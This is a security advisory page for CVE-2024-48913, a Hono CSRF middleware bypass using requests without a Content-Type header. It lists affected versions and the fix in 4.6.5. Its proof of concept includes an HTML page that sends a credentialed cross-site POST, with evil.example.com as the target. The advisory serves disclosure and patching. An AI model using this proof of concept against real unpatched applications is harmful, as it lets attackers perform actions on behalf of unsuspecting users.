CVE-2024-48913: Hono vulnerable to bypass of CSRF Middleware by a request without Content-Type header.

Published Oct 15, 2024
·
Updated

Summary Bypass CSRF Middleware by a request without Content-Type herader.

Details Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

PoC server.js // server.js import { Hono } from 'hono' import { csrf }from 'hono/csrf' const app = new Hono() app.use(csrf()) app.get('/', (c) => { return c.html('Hello Hono!') }) app.post('/', async (c) => { console.log("executed") return c.text( await c.req.text()) }) Deno.serve(app.fetch)

poc.html <!-- PoC.html --> <script> async function myclick() { await fetch("http://evil.example.com", { method: "POST", credentials: "include", body:new Blob([test],{}), }); } </script> <input type="button" onclick="myclick()" value="run" />

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body. PoC2.js await fetch("http://localhost:8000", { method: "POST", credentials: "include"});

Impact Bypass csrf protection implemented with hono csrf middleware.

Other sources

Hono, a web framework, prior to version 4.6.5 is vulnerable to bypass of cross-site request forgery (CSRF) middleware by a request without Content-Type header. Although the CSRF middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe. This can allow an attacker to bypass CSRF protection implemented with Hono CSRF middleware. Version 4.6.5 fixes this issue.

NVD

Affected Software

2 affected componentsFixes available
npm/hono<4.6.5
4.6.5
Hono Hono Node.js<4.6.5

Event History

Oct 15, 2024
CVE Published
via MITRE·03:56 PM
Data Sourced
via MITRE·03:56 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:15 PM
RemedyAffected Software
Advisory Published
via GitHub·05:43 PM

Frequently Asked Questions

1

What is the severity of CVE-2024-48913?

CVE-2024-48913 is considered a critical vulnerability due to its ability to bypass CSRF protections.

2

How do I fix CVE-2024-48913?

To fix CVE-2024-48913, update the Hono package to version 4.6.5 or later.

3

What is the impact of CVE-2024-48913?

The impact of CVE-2024-48913 allows unauthorized actions to be performed on behalf of a user due to CSRF protection being bypassed.

4

Which software versions are affected by CVE-2024-48913?

CVE-2024-48913 affects all versions of the Hono package prior to 4.6.5.

5

Is CVE-2024-48913 a remote exploit?

Yes, CVE-2024-48913 can be exploited remotely by sending crafted requests without a Content-Type header.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203